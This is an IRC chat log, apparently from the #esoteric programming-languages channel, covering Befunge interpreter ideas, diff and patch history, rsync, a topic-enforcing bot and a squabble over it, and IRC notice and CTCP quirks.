11:52:37 -!- ais523 has joined.
11:52:50 <AnMaster> ais523, I just invented "Thin Befunge Clients"
11:57:09 <AnMaster> <AnMaster> I was working on efunge again today. And I had an err... interesting idea. Some trivial changes to efunge could make it work like server/client... Basically: start an efunge-server (could listen on (for example) some tcp port, an unix socket file, distributed erlang nodes, ...). Then for each befunge program you want to run: ./efunge --server tcp:127.0.0.1:6543 mybefungeprogram.b98
11:57:09 <AnMaster> <AnMaster> this could be useful for implementing some sort of "thin befunge client"
11:59:40 <AnMaster> Would probably need some sort of resource limit per VBM (Virtual Befunge Machine), such as max number of elements in the funge space, and max stack/stack-stack sizes.
12:04:12 <AnMaster> Deewiant, http://users.tkk.fi/~mniemenm/befunge/mycology-output/y/expected.txt says "Infinite loop there, constantly outputting that about the environment variables."
12:13:35 <AnMaster> ais523, so what do you think of this "thin befunge client" concept? ;)
12:13:47 <ais523> I don't see why there's anything particularly special about it
12:13:51 <ais523> it's just another combination of concepts
12:14:04 <ais523> just like, say, an Unlambda package repository
12:14:21 <ais523> I don't think it ever really got started, though
13:17:16 -!- kar8nga has joined.
13:21:57 <AnMaster> Deewiant, http://users.tkk.fi/~mniemenm/befunge/mycology-output/input_fp-strn/expected.txt <-- some newlines missing?
13:22:08 <AnMaster> (or maybe just some CRLF/LF mixup?)
13:23:28 <Deewiant> No, I don't think any are missing there?
13:24:06 <Deewiant> Not the keyboard, so there's no enter being pressed after "input:"
13:24:43 <ais523> echo gives newlines, though
13:24:51 <ais523> some versions let you tell it not to, though
13:25:33 <AnMaster> Deewiant, no newline between the into that STRN was loaded and that it is waiting for input?
13:25:42 <Deewiant> Yes, but if you say echo "foobar" it won't put a newline between foo and bar unless it's buggy.
13:26:13 <AnMaster> hm ok it is "Loaded STRN: testing I. Please input:"
13:26:15 <ais523> I'd like to see a version of echo that did put a newline between foo and bar
13:26:19 <ais523> that would be a very implausible bug
13:26:23 <AnMaster> just inconsistent with every other fingerprint test.
13:27:09 <Deewiant> Yeah, it's consistent with itself.
13:43:23 <AnMaster> hm I think I just found a problem with diff.... Not sure though... Two things:
13:43:59 <AnMaster> (usually (always?) same filename, but maybe different path)
13:44:23 <AnMaster> can you remove a line that starts with two -
13:44:42 <AnMaster> it seems it would be possible to confuse it with the file header thingy.
13:45:09 <AnMaster> I probably missed something, because if this was a real issue surely someone would have spotted it early on...
13:46:30 <fizzie> Well, it's at least possible to notice it's not the real header, as it can't have that @@-starting block-location thing immediately after it.
13:47:18 <fizzie> Though some tool somewhere will undoubtedly be confused by it.
13:48:06 <AnMaster> fizzie, wait, that @@ is the key to it
13:48:31 <AnMaster> the 7 is the length of the block
13:48:37 <ais523> the @@ says where in the file; the --- +++ says which file
13:48:39 <AnMaster> the first is the length before, the second the length after
13:49:07 <AnMaster> ais523, you could end up with --- inside a @@ block. But I guess it isn't possible to confuse them, since @@ has the block length
13:49:36 <ais523> unidiffs are designed for human reading
13:49:43 <ais523> diffs designed for patching used to be written as ed scripts
13:49:47 <ais523> before patch was invented
13:49:49 <fizzie> Oh, you're underestimating the power of people to write code that can get confused.
13:50:07 <ais523> fizzie: the format works, that doesn't mean patchers won't get confused
13:50:11 <fizzie> I'm sure there exists at least one tool that'll be confused by a header-like thing in the middle of a block.
13:50:14 <ais523> but patch was originally invented by Larry Wall, IIRC
13:50:50 <fizzie> 1984-11-09 Larry Wall <sdcrdcf!lwall>
13:50:51 <fizzie> * patch.c: Initial revision
13:51:07 <ais523> wow at that email address
13:51:16 <ais523> not the format of the address, but 'sdcrdcf'
13:51:28 <AnMaster> ais523, most patches I applied were unidiffs
13:51:43 <ais523> AnMaster: those are recent, though
13:51:47 <ais523> unidiffs didn't exist in 1984
13:52:18 <fizzie> It's only in the "Mon Jan 7 06:25:11 1991" entry where patch gets the ability to understand +++: "* pch.c (intuit_diff_type): Recognize `+++' in diff headers, for unified diff format. From unidiff patch 1."
13:56:15 * AnMaster wonders how people managed before rsync was written.
14:28:00 -!- KingOfKarlsruhe has quit (Remote closed the connection).
14:51:01 -!- Pthing has joined.
15:58:33 -!- Pthingg has joined.
16:10:55 -!- Pthing has quit (Read error: 110 (Connection timed out)).
16:13:06 <GregorR> <Gracenotes> hey, I use scp all the time x.x
16:13:31 <Gracenotes> thank you, from all those with a scrollback buffer of 4 lines
16:13:53 <GregorR> I now no longer see what you just wrote.
16:13:54 <ais523> wow, that's a small scrollback
16:14:02 <ais523> mine's about 30 lines without scrolling
16:14:08 <ais523> so I have 30 lines of back, I suppose
16:14:17 <ais523> much more in actual scrollback
16:14:33 <Gracenotes> mine is in a GUI so it's 500 total, but ~30 lines visible
16:17:30 <GregorR> Hey, I just came back, I know ais523 said "yep, same here", but that's all I've got.
16:21:01 <AnMaster> theory: Non-esoteric languages have (in general) more pitfalls for the beginner than most esoteric languages.
16:22:05 <AnMaster> Why? For esoteric languages the pitfalls tends to be intentional and thus documented.
16:22:33 <AnMaster> (or at least making "sense" for a given value of "sense" in the context of the language)
16:26:52 <AnMaster> Deewiant, scp isn't very useful when you are syncing two large directory trees, when one is out-of-date. Either you would need to scp all of it, or manually figure out what files need to be copied.
16:27:17 <AnMaster> which was a few hundred in different directories in this case, out of several thousands.
16:27:50 <AnMaster> (total size of tree is ~1.5 GB, rsync said 48.3 MB was transferred)
16:29:08 <AnMaster> ais523, anyway rsync doesn't use scp...
16:29:17 <AnMaster> ais523, rsync over ssh use rsync.
16:29:49 <AnMaster> that basically starts a copy of rsync on the other side and then talks with it using some binary protocol
16:29:49 <GregorR> rsync is pretty hawt, but yeah, it uses the rsync protocol over SSH.
16:30:20 <GregorR> It's the same protocol that rsyncd would use if anybody ever used rsyncd.
16:36:42 -!- MigoMipo has joined.
16:38:03 <AnMaster> flightgear scenery used to be distributed that way
16:38:15 <AnMaster> so you could fetch as you needed to render it
16:38:46 -!- linf has joined.
16:39:05 <AnMaster> GregorR, and I used to run a mirror for it
16:40:21 <linf> holla i from moon :)
16:40:59 <linf> i all green and funny
16:41:27 <ais523> I didn't realise there was life on the moon...
16:42:40 <pikhq> Apparently the Russians sent a man there when we weren't looking? :P
16:42:41 <linf> life of the moon is dancing
16:45:26 <GregorR> Maaaan, the Russians not only got to the moon, but got broadband internet to the moon.
16:45:32 <GregorR> Obama, I blame you for this!
16:46:07 <linf> http://theorionconspiracy.com - top sicret
16:46:10 <ais523> hey, doesn't Mars have broadband?
16:46:24 <ais523> it has a satellite internet network
16:46:32 <ais523> so landers, etc, can communicate stuff back more easily
16:48:28 <AnMaster> err, what has all this got to do with esoteric programming languages? Just wondering..
16:48:34 <linf> GregorR, obama? You have allowed Bush to kill as many of its citizens, and then another, and chose Obama.
16:48:34 <linf> You do not feel sorry for our nation?
16:50:37 -!- GregorR has set topic: This is why the catch-phrase "esoteric programming languages" MUST BE IN THE TOPIC AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
16:52:25 -!- pikhq has set topic: Dan ſlowed ſlightly as his ears. Alſo, eſoteric programming languages. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
16:53:50 -!- linf has left (?).
16:56:20 -!- AnMaster has quit (Read error: 60 (Operation timed out)).
16:56:40 * ais523 preferred GregorR's topic
16:57:05 -!- GregorR has set topic: This is why the catch-phrase "esoteric programming languages" MUST BE IN THE TOPIC AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
16:58:16 -!- pikhq has set topic: Þis is why þe catch-phrase “This is why the catch-phrase ‘esoteric programming language’ MUST BE IN THE TOPIC AT ALL TIMES” MUST BE IN ÞE TOPIC AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
16:58:28 -!- pikhq has set topic: Þis is why þe catch-phrase “This is why the catch-phrase ‘esoteric programming languages’ MUST BE IN THE TOPIC AT ALL TIMES” MUST BE IN ÞE TOPIC AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
16:58:54 -!- AnMaster has joined.
17:00:18 <AnMaster> * linf (n=nikita@93-81-24-101.broadband.corbina.ru) has left #esoteric
17:00:22 <AnMaster> <AnMaster> pikhq, I suggest a non mangled variant of that, we can't know those nutcases joining are using UTF-8, nor know what those symbols mean
17:00:27 <AnMaster> not sure if that bit I said got through
17:00:41 <AnMaster> nor any idea if anyone responded to it
17:02:22 <AnMaster> laaaag (due to freenode's sucky rate limiting + bouncer still joining channels)
17:08:06 <pikhq> Why are you pinging *me*?
17:08:33 <pikhq> I've got more lag than a network connection by carrier sloth.
17:09:29 <AnMaster> * Ping reply from pikhq: 440.88 second(s)
17:09:53 <AnMaster> oh and * Ping reply from GregorR: 448.12 second(s)
17:10:15 <pikhq> ... You have more lag than I do.
17:10:35 <pikhq> I HAVE A FREAKING SATELLITE DISH FOR MY NETWORK CONNECTION.
17:11:12 <pikhq> Yes, but going to orbit and back takes time.
17:11:37 <GregorR> New EgoBot feature (if I didn't break it):
17:11:53 -!- GregorR has set topic: Some unrelated shtuff | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:12:48 <GregorR> It was supposed to change the topic to include "esoteric programming languages" >_>
17:15:02 <AnMaster> * Ping reply from pikhq: 2.29 second(s)
17:15:02 <AnMaster> * Ping reply from GregorR: 1.18 second(s)
17:15:37 -!- AnMaster has set topic: This is why the catch-phrase ‘esoteric programming languages’ MUST BE IN THE TOPIC AT ALL TIMES | Some unrelated shtuff | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:16:32 -!- oerjan has joined.
17:17:03 * oerjan wonders what happened before that topic
17:17:55 <AnMaster> oerjan, some crazy person, that is what happened
17:18:29 <ais523> oerjan: see recent logs
17:19:23 <AnMaster> GregorR, make egobot able to do it
17:19:28 * oerjan has already browsed enough to tell there were no more crazy persons than usual
17:20:28 <GregorR> AnMaster: I'm trying, it's borkled.
17:20:48 <GregorR> The command to change a topic is just TOPIC #channel :topic , right?
17:21:11 -!- CESSMASTER has joined.
17:23:01 <AnMaster> GregorR, what does the server reply?
17:23:03 <GregorR> Yeah, IRC spec says so ...
17:23:14 <GregorR> EgoBot's output goes nowhere.
17:23:21 <GregorR> EgoBot's output goes nowhere.
17:23:25 <AnMaster> ok.... might be a good idea to add that then
17:23:56 <AnMaster> possibly as a option, output it only while you are debugging things
17:24:07 <GregorR> This is one very rare circumstance when it's useful. In all other circumstances it's an annoying large file that sits on my hard disk and takes up space that's redundant with tunes.org
17:24:08 <AnMaster> add some admin command to turn it on/off
17:24:13 <GregorR> But I'd have to restart EgoBot.
17:24:18 <AnMaster> GregorR, at runtime I meant....
17:24:24 <AnMaster> GregorR, also, rotate the log?
17:24:50 <GregorR> You seem to think EgoBot is about a bazillion times more complex than it is. The ability to support all this would EASILY triple the amount of code in the C part.
17:24:51 <AnMaster> start writing at the start again once it reaches a set limit
17:25:07 <AnMaster> Gracenotes, you could use the cron + logrotate + SIGHUP to do it
17:25:24 <AnMaster> SIGHUP handling would be like... uh... a few lines?
17:25:40 <AnMaster> to close the current logfile then open the same filename again
17:26:18 <AnMaster> GregorR, if that would triple the size, that is one extremely short C program
17:26:19 <GregorR> Long story short: This ain't happening. Too bad.
17:28:09 -!- Judofyr_ has joined.
17:28:12 -!- GregorR has set topic: Hey EgoBot, fooooooo.
17:28:12 -!- EgoBot has set topic: The topic must contain the phrase "esoteric programming languages" AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:28:29 -!- AnMaster has set topic: The topic must contain the phrase "esoteric programming languages" AT ALL TIMES | aa http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:28:33 -!- AnMaster has set topic: The topic must contain the phrase "esoteric programming languages" AT ALL TIMES.
17:28:49 <AnMaster> GregorR, why didn't it add back that link?
17:28:56 -!- AnMaster has set topic: The topic must contain the phrase "esoteric programming languages" AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:29:06 <GregorR> It only checks for "esoteric programming languages"
17:29:20 -!- ehird has left (?).
17:29:24 -!- ehird has joined.
17:29:28 -!- Judofyr has quit (Read error: 60 (Operation timed out)).
17:30:32 -!- AnMaster has set topic: The topic must contain the phrase "esoteric progrsamming languages" AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:30:45 <AnMaster> GregorR, either it is slow, or it doesn't work
17:31:04 -!- AnMaster has set topic: The topic must contain the phrase "esotearic progrsamming languages" AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:31:06 <ehird> 00:16 SimonRC: oh, yeah, and <spoiler>, finally! <spoiler>
17:31:13 -!- AnMaster has set topic: ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:31:14 <GregorR> See, this is what I was running in to ... I thought it worked >_>
17:31:14 <ehird> everything after is a spoiler
17:31:26 <ehird> 07:30 augur: ehird
17:31:53 <ehird> 11:13 ais523: I don't see why there's anything particularly special about it
17:31:53 <ehird> 11:13 ais523: it's just another combination of concepts
17:31:55 <ehird> y'mean like all of AnMaster's "fun" ideas?
17:33:47 <ehird> 15:40 linf: i all green and funny
17:34:21 <ehird> 15:48 linf: You do not feel sorry for our nation?
17:34:29 <ehird> you can get broadband on the fucking moon
17:34:31 <ehird> why would we pity you
17:34:38 <augur> do you still have that golly file?
17:35:02 <ehird> 16:11 pikhq: Yes, but going to orbit and back takes time.
17:35:05 <ehird> Yes but light is fast.
17:35:24 <augur> light generally doesnt go into orbit around things
17:35:25 <pikhq> Yes, and so are electrons.
17:35:54 <Gracenotes> AnMaster: it is mostly incidentally uploading to my VPS to share
17:36:03 <pikhq> And electrons taking a shorter path than light are faster than light.
17:36:20 <augur> pikhq: light follows the geodesic.
17:36:20 <pikhq> augur: It goes up to a satellite in geosynchronous orbit, and then goes down.
17:36:25 <augur> and always travels at c.
17:36:42 <augur> going up to a satellite in geosynch and back is not going into orbit
17:36:51 <augur> its going up to something thats in orbit, but its not going into orbit.
17:37:09 <Gracenotes> AnMaster: for example, I scp'd this piano composition of mine
17:37:19 <ehird> </spoiler> just in case
17:37:24 -!- Judofyr_ has changed nick to Judofyr.
17:37:26 <AnMaster> Gracenotes, right. I was backing up a tree from a server
17:37:28 <ehird> oh shit, ais523 already did that
17:37:33 <ehird> now the interwebs are invalid
17:37:40 <ehird> 17:34 augur: ehird
17:37:41 <ehird> 17:34 augur: do you still have that golly file?
17:37:46 <ehird> it's just a straight line man.
17:37:55 <augur> i know, but when i do that, i get something different
17:37:59 <augur> so i want YOURS to see what you did
17:38:11 <ais523> ehird: quick, check the logs; there may be a random <spoiler> tag back in them to match
17:38:11 <ehird> i didn't make it into a file
17:38:15 <ehird> i can redraw it though
17:38:25 -!- GregorR has set topic: ALL TIMES.
17:38:26 <ehird> ais523: but i haven't mirrored them yet
17:38:34 <augur> i'll love you forever and ever
17:38:41 <ais523> maybe you can fix the markup when you mirror
17:38:44 <ehird> augur: but seriously, just draw downwards with your inaccurate human hands and you'll get what I'm going to do :P
17:38:59 <augur> ehird, i'd rather you did it. ive tried and never got it
17:39:00 <ehird> GregorR: changing the topic automatically is obnoxious anyway.
17:39:02 -!- ais523 has set topic: The topic must contain the phrase "esoteric programming languages" AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:39:03 <augur> but you seem to get it every time
17:40:21 <ehird> augur: well, the thing it generates isn't clear
17:40:26 <ehird> if you wait until it stops moving and squint
17:40:27 <AnMaster> GregorR, that debug output *could help* I guess?
17:40:29 <ehird> you can see the sierpinski
17:40:34 <ehird> but it doesn't generate it cleanly or anything
17:40:43 <GregorR> AnMaster: No, that's the thing, it's "working" perfectly, only not.
17:40:44 <augur> ehird: well, the one you showed me was a dual triangle above some randomosit
17:40:56 <augur> all im looking for is that.
17:41:03 <ehird> i don't recall that
17:42:02 <ehird> augur: gimme a link to the pic I gave you so I can confirm what it is you're talking about
17:42:47 <ehird> wow, the 17" macbook pro's resolution is 1920x1200
17:42:48 <augur> i dont have the link anymore :(
17:42:50 <ehird> i'd have expected 1680x1050
17:42:53 <ehird> augur: grep the logs!
17:43:08 <augur> like i know how to use grep
17:43:18 <ehird> grep -ir 'Case insensitive matching!!!!' .
17:43:30 <ehird> whereby -i is case insensitive and -r is 'recursively scan directory, not file'
17:43:36 -!- oerjan has set topic: There is a phrase which the topic must contain AT ALL TIMES. Can you guess what it is? Yes, it is "esoteric programming languages"! | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:46:15 <ehird> anyway, it's fun when we get crazies
17:46:17 <AnMaster> there are two other ways to solve it
17:46:18 <ehird> they always get bored anyway
17:46:34 <AnMaster> 2) attach gdb to the running bot and trace through it
17:48:43 <ais523> AnMaster: what about hacking into Freenode? that would work too, so there are more than two ways
17:48:52 <ais523> note that this does not imply that any of the ways are sensible
17:49:09 <AnMaster> ais523, we are not talking about the same goal
17:49:17 <ehird> only with AnMaster do you need that disclaimer to avoid him chastising you for it
17:49:21 <ehird> AnMaster: yes he is
17:49:25 <AnMaster> the goal I was talking about was "debugging the issue in egobot"
17:49:34 <AnMaster> not "making the topic thing work"
17:49:35 <ais523> yes, and you could certainly get useful debugging info that way
17:49:48 <ais523> by seeing what was sent/received with EgoBot
17:49:58 <AnMaster> ais523, oh sorry, thought you meant "hack freenode to automatically set the topic as needed"
17:50:00 <ehird> it'd do the same as tcpdump
17:50:19 <ais523> AnMaster: you wouldn't need to hack freenode to automatically set the topic
17:50:27 <ais523> anyone with sufficient rights could just tell ChanServ to do it
17:50:46 <AnMaster> ais523, you can't tell chanserv to look for a certain string and set it if not
17:50:47 <GregorR> It's more intelligent than that.
17:50:55 <GregorR> It just adds necessary phrases if they're removed.
17:50:57 <AnMaster> you can tell it to always keep a topic it has been set to keep
17:51:00 -!- GregorR has set topic: I swear this works now guys..
17:51:09 <ehird> my text was gray there
17:51:16 <AnMaster> ehird, it was a channel notice
17:51:17 <ais523> ehird: you sent a NOTICE, not a PRIVMSG
17:51:19 <GregorR> O_O THIS IS SO FREAKING TESTED
17:51:21 <ais523> I'm not entirely sure why
17:51:21 <AnMaster> -ehird/#esoteric- it's also obnoxious
17:51:31 <ehird> control-enter does it
17:51:44 <ais523> /me tests control-enter
17:51:48 <ais523> ok, that was interesting
17:51:57 <ais523> well, without parsing the /me
17:52:09 <AnMaster> Ctrl-enter inserts a newline in the input string?
17:52:21 <ehird> ctrl-enter sends it as a notice
17:52:38 <ais523> yep, doesn't surprise me
17:52:43 <ehird> i thought you meant me
17:52:48 -!- GregorR has set topic: I REALLY swear this works now guys..
17:52:48 -!- EgoBot has set topic: Esoteric programming languages | I REALLY swear this works now guys. | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:52:56 <GregorR> Finally ... for cripes sake :P
17:53:05 <ehird> ok can you disable it now :|
17:53:08 <GregorR> See, it just adds the base topic and the log.
17:53:14 <Asztal> doesn't seem to do anything in irssi
17:53:15 -!- ais523 has set topic: Esoteric programming lemmings | for languages support, visit http://example.com | logs go here.
17:53:15 -!- EgoBot has set topic: Esoteric programming languages | Esoteric programming lemmings | for languages support, visit http://example.com | logs go here | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:53:20 <AnMaster> and I'm not sure why I set mine to turn the input line into a multi-line one. I actually set it so. I see the setting there for it in my .emacs
17:53:24 <ais523> ok, it looks for an exact phrase
17:53:28 -!- AnMaster has set topic: Esoteric programming langusages | Esoteric programming lemmings | for languages support, visit http://example.com | logs go here | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:53:35 <ehird> i like crazy people coming here every now and then and I don't like rigidness and foo to that.
17:53:52 -!- ais523 has set topic: /ul (test)S.
17:53:54 <GregorR> It just adds the things that MUST be there. THAT'S ALL. It doesn't remove anything. It's quite harmless.
17:54:01 <ais523> GregorR: yes, but look at the topic
17:54:16 <ehird> GregorR: it's still (a) annoying, (b) stops crazy people amusing us and (c) doesn't let us fiddle with silly wordings.
17:54:35 <ais523> ehird: but those are good things!
17:54:49 <GregorR> OK, fuck this. This is so fucking annoying. A) It's not broken, it's lagging like hell. B) I'm so fucking done creating a channel war. Fuck fuck fuck you all.
17:55:04 <ehird> AnMaster: we only get them once every few months, and they're only here for a few minutes, anyway
17:55:14 <ehird> ais523: silly wordings are great though!
17:55:28 <ehird> annoying GregorR is fun for the whole family :)
17:55:40 <ais523> ehird: everyone seems to like it but you
17:55:47 <ais523> where everyone = GregorR + me + ehird
17:56:01 <ais523> * + AnMaster, not + ehird
17:56:04 <ehird> that's some epic definition of everyone
17:56:18 <ais523> Asztal hasn't expressed an opinion yet, everyone else is idling
17:56:38 <ehird> but is it like unto?
17:56:52 <Asztal> I don't have much of an opinion
17:57:02 <Asztal> does it add the link to the logs, too?
17:57:02 <EgoBot> help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help <command>.
17:57:04 -!- pikhq has set topic: You ſuck like unto a royal ſucker. | /ul (test)S.
17:57:24 -!- ais523 has set topic: The topic must contain the phrase "esoteric programming languages" AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:57:42 -!- ehird has set topic: we induct bugs http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:57:49 -!- AnMaster has set topic: The topic must contain the phrase "esoteric programming languages" AT ALL TIMES | http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:57:58 -!- ehird has set topic: we induct pikhqs http://tunes.org/~nef/logs/esoteric/?C=N;O=D.
17:58:10 -!- AnMaster has set topic: we induct pikhqs http://tunes.org/~nef/logs/esoteric/?C=N;O=D | esoteric programming languages.
17:58:18 <ehird> AnMaster: i can settle for that.
17:58:23 <ehird> YOU HAVE WON THE BATTLE
17:58:23 <GregorR> I'm going to go exercise, you guys squabble like idiots. I'll be back in an hour.
17:58:25 <ehird> BUT I WILL WIN THE WAR
17:58:35 <AnMaster> pikhq, might be needed, since ehird doesn't accept what the majority wants.
17:59:27 <ehird> i wonder why AnMaster never expressed an opinion about it until i disliked it. oh yeah, he just does the opposite of everything I do. it's good to see you care so deeply about the topic, though.
17:59:29 <ais523> what does mode +bugs actually do?
17:59:29 -!- AnMaster has set topic: we induct pikhqs http://tunes.org/~nef/logs/esoteric/?C=N;O=D | The topic must contain the phrase "esoteric programming languages" AT ALL TIMES.
17:59:41 <ais523> anyway, idea: we give Wooble op powers on this channel
17:59:44 <AnMaster> ehird, um.... I did express it before.
17:59:45 <ais523> it's not as though he'd use it
18:00:16 <ais523> ehird left the channel in a huff when he got op powers, and has never returned
18:00:41 -!- ehird has left (?).
18:00:51 <AnMaster> ais523, I think it will say "missing parameter to +b" or something like that
18:01:14 <AnMaster> u and g... well they would depend on ircd
18:01:52 <Asztal> +g (allow anybody to invite)
18:02:16 <AnMaster> +u is "auditorium" on unrealircd iirc.
18:02:45 <AnMaster> something like "the ops can see anyone in the channel, non-ops can only see the ops"... Competely useless IMO.
18:03:00 <ais523> is that see who's there, or see comments?
18:03:26 <pikhq> That would be like an "ANNOUNCEMENTS" channel or some such.
18:03:52 <AnMaster> pikhq, in combination with +m yeah
18:04:02 <AnMaster> but, it really isn't very useful.
18:04:21 <Asztal> auditorium mode is an alternative to WALLOPS, IIRC
18:05:41 <AnMaster> Asztal, I can't imagine anyone but network staff wanting to make a global announcement over irc like that. Most projects with an irc channel would probably have a website, and make the announcement of the new release of the software or such there.
18:06:18 <AnMaster> and why hide other users? What do you actually gain from it.
18:06:33 <AnMaster> anonymity who is there I guess... but how often do you need that?
18:06:39 <Asztal> I can't remember the last time I visited freenode.org though...
18:06:54 <AnMaster> Asztal, um.. Read what I said again
18:06:58 <oerjan> > cycle$(" WALL"++)=<<["OPS","S","ABIES"]
18:06:59 <Asztal> It would reduce traffic, I don't know how much
18:07:00 <lambdabot> " WALLOPS WALLS WALLABIES WALLOPS WALLS WALLABIES WALLOPS WALLS WALLABIES W...
18:07:10 <ais523> yep, I guessed it was for traffic reasons
18:07:12 <AnMaster> Asztal, "I can't imagine anyone but network staff wanting to make a global announcement over irc like that"
18:07:32 <AnMaster> Asztal, network staff do need global announcements.
18:07:46 <AnMaster> so not sure how "<Asztal> I can't remember the last time I visited freenode.org though..." was relevant at all.
18:07:58 <pikhq> And that's what global notices are for.
18:08:45 <AnMaster> how many of you in here know how to make a global notice? Without checking docs or googling or similiar?
18:09:03 <pikhq> Not I. For the obvious reason that I'm not network staff.
18:09:12 <pikhq> And so really have no purpose for it.
18:09:28 <AnMaster> but it is the answer to "How" is the interesting.
18:09:38 <Asztal> but there have also been "IRC interviews" and that sort of thing where users send questions to an interviewer, the interviewee answers, ...
18:09:52 <Asztal> punctuatimnng it with join and part messages would be annoying
18:09:54 <AnMaster> Asztal, never heard of that, ok
18:10:22 <AnMaster> Asztal, also I can just tell my client to filter joins/parts in a specific channel
18:11:56 <AnMaster> anyway, most people who know how to make a global notice tends to answer "using operserv" or similiar. But what if services are down? Very few seems to know the very interesting syntax to do it manually
18:12:42 <AnMaster> that syntax is /notice $*.server.hostmask.org Message goes here!
18:13:08 <AnMaster> where $*.server.hostmask.org can be $* for "all servers" or some mask matching a subset of them
18:13:24 <AnMaster> quite possible to notice all users on a specific server, but no one else (for example)
18:13:33 <AnMaster> oh and that works for both NOTICE and PRIVMSG
18:13:41 -!- Judofyr has quit (Remote closed the connection).
18:13:44 <AnMaster> but I never seen anyone actually do a global PRIVMSG.
18:16:25 * pikhq wants to see someone do a global CTCP ACTION.
18:16:43 <Asztal> what about a global DCC?
18:16:53 <ais523> Asztal: you use CTCPs to set up DCCs
18:16:57 <ais523> so it would be a global CTCP first
18:17:44 <AnMaster> since a CTCP is just a PRIVMSG that starts and end with the byte 0x01...
18:18:00 <AnMaster> except, only the first connection would get served
18:18:23 <AnMaster> since DCC is point-to-point, and the person who sends the first message act as the server...
18:18:33 <AnMaster> well yeah with a custom DCC server it could be done
18:18:52 <AnMaster> that accepts more than one connection once set up to wait for connection
18:19:58 <AnMaster> (for brevity I'm here ignoring the various types of passive dcc, none of the incompatible variations are supported by more than a few clients)
18:19:59 * oerjan tests ctcp<CTCP><CTCP>VERSION
18:21:08 <oerjan> not a single VERSION response :(
18:22:03 <Asztal> ChatZilla might, it supports CTCPs in the middle of messages
18:22:30 <oerjan> lessee <CTCP>VERSION<CTCP> about that
18:22:36 -!- kar8nga has quit (Remote closed the connection).
18:22:56 <oerjan> i suppose there just aren't any clients supporting either kind present
18:23:01 <pikhq> http://www.techcrunch.com/2009/06/28/how-to-save-the-newspapers-vol-xii-outlaw-linking/
18:24:10 -!- Azstal has joined.
18:25:06 * oerjan tests ctcp<CTCP><CTCP>VERSION
18:25:24 <oerjan> lessee <CTCP>VERSION<CTCP> about that
18:25:39 <Azstal> hmm, maybe it doesn't actually support them, then.
18:25:59 <Azstal> I saw: lessee [\0x01]VERSION[\0x01] about that
18:27:36 <Azstal> there was a bug where messages with inline CTCPs would be lost completely; I guess they just fixed that bug
18:28:19 -!- Azstal has quit (Client Quit).
18:31:25 <pikhq> I saw a A instead.
18:32:27 <pikhq> That's what I saw, instead of [\0x01]
18:32:53 <oerjan> you do know this channel censors colors, right?
18:34:19 <oerjan> AnMaster: there was a second ctcp at the end, a VERSION
18:34:22 <pikhq> Followed by C-a C-a VERSION.
18:34:27 <oerjan> your client apparently ignored it
18:34:29 <AnMaster> oerjan, oh THAT... nothing supports that.
18:34:44 <oerjan> AnMaster: nothing on this channel anyhow :D
18:34:52 <pikhq> Anyways, C-a showed up as an inverse A.
18:34:59 <AnMaster> oerjan, one or two irc clients.
18:35:43 <AnMaster> pikhq, here C-a jumps to the beginning of the line
18:35:53 <pikhq> C-a is also \0x01.
18:36:37 <AnMaster> but in >99.99% of the cases I press that key combo I actually want it to jump to the start of the line
18:38:49 * AnMaster tries to remember the damn key combo for "insert control code
18:39:03 <Asztal> aww, that failed... I was trying to spell things out with control characters :(
18:39:37 <pikhq> Billy Mays here, ... No, never mind.
18:39:59 <AnMaster> ais523, help! what was the damn key combo to insert control code in emacs now again
18:40:16 <ais523> followed by the code either literally, or typing the digits in octal then pressing return
18:40:20 <ais523> at least, I think it's octal by default
18:41:22 <AnMaster> ah... I was looking for insert-* functions...
18:41:33 <AnMaster> it seems it is bound to quoted-insert
18:41:56 <AnMaster> If the first character you type after this command is an octal digit,
18:41:56 <AnMaster> you should type a sequence of octal digits which specify a character code.
18:41:56 <AnMaster> Any nondigit terminates the sequence. If the terminator is a RET,
18:41:56 <AnMaster> it is discarded; any other terminator is used itself as input.
18:42:22 <AnMaster> and yes you can change it with read-quoted-char-radix
19:15:47 -!- Judofyr has joined.
19:28:03 -!- oerjan has quit ("Later").
19:36:22 -!- Judofyr has quit (Remote closed the connection).
20:08:10 -!- Gracenotes has quit (Read error: 60 (Operation timed out)).
20:15:28 <Slereah> http://zip.4chan.org/co/src/1246215767502.gif
20:15:35 -!- kar8nga has joined.
20:20:24 <Deewiant> In case of 404: http://geeksofbohemia.com/2008/09/euclids-on-the-block/
20:53:03 <GregorR> In case of 200: Just look at the site in question
20:53:45 -!- kar8nga has quit (Remote closed the connection).
20:54:13 <pikhq> In case of 1337: HTTP 1.1 FAIL.
20:56:40 <ais523> what if you get one of the weird status codes?
21:21:59 <SimonRC> oh I am getting high on the Curry-Horward Isomorphism again
21:22:33 <SimonRC> I look at the examples section and see the K and S combinators http://en.wikipedia.org/wiki/Deduction_theorem
21:23:07 <SimonRC> the introduction of hypotheses is just lambdas
21:23:19 <SimonRC> the other lines are just variable bindings
21:23:42 <SimonRC> the fomulae are just their types
21:54:10 -!- KingOfKarlsruhe has joined.
22:01:14 -!- ais523 has quit (Remote closed the connection).
22:11:12 <AnMaster> <Slereah> http://zip.4chan.org/co/src/1246215767502.gif <-- heh
22:12:16 <AnMaster> Slereah, is there more of the same?
